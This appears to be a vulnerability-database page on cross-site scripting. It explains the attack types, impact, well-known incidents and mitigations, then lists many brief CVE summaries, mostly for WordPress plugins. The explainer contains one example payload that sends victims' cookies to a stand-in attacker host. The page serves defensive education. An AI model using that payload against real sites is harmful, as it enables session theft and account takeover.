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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (41003)

EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Smooth Scroll Page Up/Down Buttons WordPress plugin before 1.4 did not properly sanitise and validate its settings, such as psb_distance, psb_buttonsize, psb_speed, only validating them client. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Smooth Scroll Page Up Down Buttons
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Funnel Builder by CartFlows - Create High Converting Sales Funnels For WordPress plugin before 1.6.13 did not sanitise its facebook_pixel_id and google_analytics_id settings, allowing high. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Cartflows
NVD WPScan
EPSS 3% CVSS 5.4
MEDIUM POC This Month

The WP Super Cache WordPress plugin before 1.7.3 did not properly sanitise its wp_cache_location parameter in its settings, which could lead to a Stored Cross-Site Scripting issue. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS WP Super Cache +1
NVD WPScan
EPSS 1% CVSS 6.2
MEDIUM POC This Month

The WP Login Security and History WordPress plugin through 1.0 did not have CSRF check when saving its settings, not any sanitisation or validation on them. Rated medium severity (CVSS 6.2), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS CSRF +2
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Database Backup for WordPress plugin before 2.4 did not escape the backup_recipient POST parameter in before output it back in the attribute of an HTML tag, leading to a Stored Cross-Site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Database Backup +1
NVD WPScan
EPSS 11% CVSS 6.1
MEDIUM POC THREAT This Month

The Bello - Directory & Listing WordPress theme before 1.6.0 did not properly sanitise and escape its listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Bello +1
NVD WPScan
EPSS 2% CVSS 5.4
MEDIUM POC This Month

The Bello - Directory & Listing WordPress theme before 1.6.0 did not properly sanitise its post_excerpt parameter before outputting it back in the shop/my-account/bello-listing-endpoint/ page,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Bello +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Listeo WordPress theme before 1.6.11 did not properly sanitise some parameters in its Search, Booking Confirmation and Personal Message pages, leading to Cross-Site Scripting issues. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Listeo +1
NVD WPScan
EPSS 6% CVSS 6.1
MEDIUM POC This Month

The search feature of the Mediumish WordPress theme through 1.0.47 does not properly sanitise it's 's' GET parameter before output it back the page, leading to the Cross-SIte Scripting issue. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Mediumish
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The WP Prayer WordPress plugin before 1.6.2 provides the functionality to store requested prayers/praises and list them on a WordPress website. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Prayer +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Photo Gallery by 10Web - Mobile-Friendly Image Gallery WordPress plugin before 1.5.67 did not properly sanitise the gallery title, allowing high privilege users to create one with XSS payload in. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Photo Gallery +1
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The "Schedule Name" input in the Weekly Schedule WordPress plugin before 3.4.3 general options did not properly sanitize input, allowing a user to inject javascript code using the <script> HTML tags. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Weekly Schedule
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

In OpenNMS Horizon, versions opennms-1-0-stable through opennms-27.1.0-1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1;. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Opennms Meridian
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

1CDN is open-source file sharing software. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS 1Cdn
NVD GitHub
EPSS 1% CVSS 9.6
CRITICAL PATCH Act Now

A flaw was found in keycloak in versions before 13.0.0. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Red Hat Keycloak
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The parameters of the specific functions in the CTS Web trading system do not filter special characters, which allows unauthenticated attackers can remotely perform reflected XSS and obtain the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cts Web Sysjust
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Add announcement function in the 101EIP system does not filter special characters, which allows authenticated users to inject JavaScript and perform a stored XSS attack. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 101Eip
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Add event in calendar function in the 101EIP system does not filter special characters in specific fields, which allows remote authenticated users to inject JavaScript and perform a stored XSS attack. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS 101Eip
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Zettlr from 0.20.0 to 1.8.8 allows an attacker to execute an arbitrary script by loading a file or code snippet containing an invalid iframe into Zettlr. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Zettlr
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

A flaw was found in Red Hat Ceph Storage 4, in the Dashboard component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Red Hat Ceph Storage
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

GLPi 9.5.4 does not sanitize the metadata. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Glpi Glpi Project
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

COVID19 Testing Management System 1.0 is vulnerable to Cross Site Scripting (XSS) via the "Admin name" parameter. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Covid19 Testing Management System Phpgurukul
NVD Exploit-DB
EPSS 0% CVSS 5.4
MEDIUM This Month

In vFairs 3.3, any user logged in to a vFairs virtual conference or event can modify any other users profile information to include a cross-site scripting payload. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Vfairs
NVD VulDB
EPSS 1% CVSS 4.3
MEDIUM This Month

vFairs 3.3 is affected by Insecure Permissions. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Authentication Bypass +1
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Centreon version 20.10.2 is affected by a cross-site scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Centreon
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM This Month

An issue was discovered in Joomla!. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Joomla
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

RSA Archer before 6.9 SP1 P1 (6.9.1.1) contains a stored XSS vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Rsa Archer
NVD
EPSS 4% CVSS 5.4
MEDIUM POC This Month

Postbird 0.8.4 allows stored XSS via the onerror attribute of an IMG element in any PostgreSQL database table. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PostgreSQL Postbird
NVD GitHub Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

In OpenNMS Horizon, versions opennms-17.0.0-1 through opennms-27.1.0-1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1;. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Opennms Horizon +1
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

In OpenNMS Horizon, versions opennms-18.0.0-1 through opennms-27.1.0-1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1;. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Opennms Horizon +1
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Jenkins Markdown Formatter Plugin 0.1.0 and earlier does not sanitize crafted link target URLs, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Markdown Formatter
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

A remote xss vulnerability was discovered in HPE Integrated Lights-Out 4 (iLO 4); HPE SimpliVity 380 Gen9; HPE Integrated Lights-Out 5 (iLO 5) for HPE Gen10 Servers; HPE SimpliVity 380 Gen10; HPE. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS HP Integrated Lights Out 4 +1
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

A remote dom xss, crlf injection vulnerability was discovered in HPE Integrated Lights-Out 4 (iLO 4); HPE SimpliVity 380 Gen9; HPE Integrated Lights-Out 5 (iLO 5) for HPE Gen10 Servers; HPE. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS HP Integrated Lights Out 4 +1
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

A remote dom xss, crlf injection vulnerability was discovered in HPE Integrated Lights-Out 4 (iLO 4); HPE SimpliVity 380 Gen9; HPE Integrated Lights-Out 5 (iLO 5) for HPE Gen10 Servers; HPE. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS HP Integrated Lights Out 4 +1
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

A remote dom xss, crlf injection vulnerability was discovered in HPE Integrated Lights-Out 4 (iLO 4); HPE SimpliVity 380 Gen9; HPE Integrated Lights-Out 5 (iLO 5) for HPE Gen10 Servers; HPE. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS HP Integrated Lights Out 4 +1
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

A stored cross-site scripting (XSS) vulnerability was discovered in the Web Interface for OpenWRT LuCI version 19.07 which allows attackers to inject arbitrary Javascript in the OpenWRT Hostname via. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Openwrt
NVD VulDB
EPSS 1% CVSS 4.8
MEDIUM This Month

A remote xss vulnerability was discovered in HPE Integrated Lights-Out 4 (iLO 4); HPE SimpliVity 380 Gen9; HPE Integrated Lights-Out 5 (iLO 5) for HPE Gen10 Servers; HPE SimpliVity 380 Gen10; HPE. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS HP Integrated Lights Out 4 +1
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

A remote xss vulnerability was discovered in HPE Integrated Lights-Out 4 (iLO 4); HPE SimpliVity 380 Gen9; HPE Integrated Lights-Out 5 (iLO 5) for HPE Gen10 Servers; HPE SimpliVity 380 Gen10; HPE. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS HP Integrated Lights Out 4 +1
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

A remote xss vulnerability was discovered in HPE Integrated Lights-Out 4 (iLO 4); HPE SimpliVity 380 Gen9; HPE Integrated Lights-Out 5 (iLO 5) for HPE Gen10 Servers; HPE SimpliVity 380 Gen10; HPE. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS HP Integrated Lights Out 4 +1
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

A remote xss vulnerability was discovered in HPE Integrated Lights-Out 4 (iLO 4); HPE SimpliVity 380 Gen9; HPE Integrated Lights-Out 5 (iLO 5) for HPE Gen10 Servers; HPE SimpliVity 380 Gen10; HPE. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS HP Integrated Lights Out 4 +1
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

A remote xss vulnerability was discovered in HPE Integrated Lights-Out 4 (iLO 4); HPE SimpliVity 380 Gen9; HPE Integrated Lights-Out 5 (iLO 5) for HPE Gen10 Servers; HPE SimpliVity 380 Gen10; HPE. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS HP Integrated Lights Out 4 +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Web Interface for OpenWRT LuCI version 19.07 and lower has been discovered to have a cross-site scripting vulnerability which can lead to attackers carrying out arbitrary code execution. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE Openwrt +1
NVD VulDB
EPSS 3% CVSS 4.8
MEDIUM POC PATCH This Month

A reflected cross-site scripting (XSS) vulnerability in Shopizer before 2.17.0 allows remote attackers to inject arbitrary web script or HTML via the ref parameter to a page about an arbitrary. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Shopizer
NVD GitHub Exploit-DB
EPSS 3% CVSS 4.8
MEDIUM POC PATCH This Month

A stored cross-site scripting (XSS) vulnerability in Shopizer before 2.17.0 allows remote attackers to inject arbitrary web script or HTML via customer_name in various forms of store administration. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Shopizer
NVD GitHub Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in Mediat 1.4.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Mediat
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in Gris CMS v0.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Gris Cms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

IBM Security Guardium 11.2 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Security Guardium
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

In ArangoDB, versions v2.2.6.2 through v3.7.10 are vulnerable to Cross-Site Scripting (XSS), since there is no validation of the .zip file name and filtering of potential abusive characters which zip. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Arangodb
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Autoptimize WordPress plugin before 2.8.4 was missing proper escaping and sanitisation in some of its settings, allowing high privilege users to set XSS payloads in them, leading to stored. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Autoptimize
NVD WPScan
EPSS 3% CVSS 5.4
MEDIUM POC This Month

The 'State' field of the Edit profile page of the LMS by LifterLMS - Online Course, Membership & Learning Management System Plugin for WordPress plugin before 4.21.1 is not properly sanitised when. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Lifterlms
NVD GitHub WPScan Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Ultimate Member - User Profile, User Registration, Login & Membership Plugin WordPress plugin before 2.1.20 did not properly sanitise, validate or encode the query string when generating a link. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Ultimate Member +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Target First WordPress Plugin v2.0, also previously known as Watcheezy, suffers from a critical unauthenticated stored XSS vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Watcheezy
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Hana Flv Player WordPress plugin through 3.1.3 is vulnerable to an Authenticated Stored Cross-Site Scripting (XSS) vulnerability within the 'Default Skin' field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Hana Flv Player
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Hotjar Connecticator WordPress plugin through 1.1.1 is vulnerable to Stored Cross-Site Scripting (XSS) in the 'hotjar script' textarea. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS CSRF +1
NVD WPScan
EPSS 11% CVSS 6.1
MEDIUM POC THREAT This Month

The slider import search feature of the PickPlugins Product Slider for WooCommerce WordPress plugin before 1.13.22 did not properly sanitised the keyword GET parameter, leading to reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Product Slider For Woocommerce +1
NVD WPScan Exploit-DB
EPSS 3% CVSS 6.1
MEDIUM POC This Month

The method and share GET parameters of the Giveaway pages were not sanitised, validated or escaped before being output back in the pages, thus leading to reflected XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Simple Giveaways Ibenic
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Goto WordPress theme before 2.1 did not properly sanitize the formvalue JSON POST parameter in its tl_filter AJAX action, leading to an unauthenticated Reflected Cross-site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Goto +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The WP Customer Reviews WordPress plugin before 3.5.6 did not sanitise some of its settings, allowing high privilege users such as administrators to set XSS payloads in them which will then be. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Customer Reviews +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The dsgvoaio_write_log AJAX action of the DSGVO All in one for WP WordPress plugin before 4.0 did not sanitise or escape some POST parameter submitted before outputting them in the Log page in the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +2
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Dutchcoders transfer.sh before 1.2.4 allows XSS via an inline view. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Transfer Sh Dutchcoders
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Reflected cross-site scripting vulnerability in the admin page of [Calendar01] free edition ver1.0.1 and earlier allows a remote attacker to inject an arbitrary script via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Calendar01 Calendar01 Project
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Reflected cross-site scripting vulnerability in the admin page of [Telop01] free edition ver1.0.1 and earlier allows a remote attacker to inject an arbitrary script via unspecified vectors. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Telop01
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Reflected cross-site scripting vulnerability in [MailForm01] free edition (versions which the last updated date listed at the top of descriptions in the program file is from 2014 December 12 to 2018. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mailform01
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

Multiple vulnerabilities in the web-based management interface of Cisco Finesse could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Finesse
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Plone through 5.2.4 allows XSS via the inline_diff methods in Products.CMFDiffTool. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Plone
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Plone through 5.2.4 allows stored XSS attacks (by a Contributor) by uploading an SVG or HTML document. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Plone
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Plone through 5.2.4 allows XSS via a full name that is mishandled during rendering of the ownership tab of a content item. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Plone
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Zope Products.CMFCore before 2.5.1 and Products.PluggableAuthService before 2.6.2, as used in Plone through 5.2.4 and other products, allow Reflected XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Zope Plone
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Zoho ManageEngine ADSelfService Plus before 6104 allows stored XSS on the /webclient/index.html#/directory-search user search page via the e-mail address field. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Zoho Manageengine Adselfservice Plus +1
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Plone CMS until version 5.2.4 has a stored Cross-Site Scripting (XSS) vulnerability in the user fullname property and the file upload functionality. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS File Upload Plone
NVD
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

In OpenNMS Horizon, versions opennms-1-0-stable through opennms-27.1.0-1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1;. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Opennms Horizon +1
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

In OpenNMS Horizon, versions opennms-1-0-stable through opennms-27.1.0-1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1;. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Opennms Horizon +1
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM PATCH This Month

A flaw was found in Wildfly in versions before 23.0.2.Final while creating a new role in domain mode via the admin console, it is possible to add a payload in the name field, leading to XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Red Hat Data Grid +8
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability has been found in multiple revisions of Emerson Rosemount X-STREAM Gas Analyzer. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Authentication Bypass X Stream Enhanced Xegp Firmware +4
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability has been found in multiple revisions of Emerson Rosemount X-STREAM Gas Analyzer. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS X Stream Enhanced Xegp Firmware X Stream Enhanced Xegk Firmware +3
NVD
EPSS 9% CVSS 6.1
MEDIUM POC PATCH This Month

Adminer is open-source database management software. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

PHP XSS Adminer
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

HedgeDoc is a platform to write and share markdown. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Hedgedoc
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Control Center 6.2.0.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Control Center
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

IBM Maximo Asset Management 7.6.0 and 7.6.1 is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Maximo Asset Management
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Persistent cross-site scripting (XSS) in the web interface of Concerto through 2.3.6 allows an unauthenticated remote attacker to introduce arbitrary JavaScript by injecting an XSS payload into the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Concerto
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

BMC Remedy Mid Tier 9.1SP3 is affected by cross-site scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Remedy Mid Tier Bmc
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

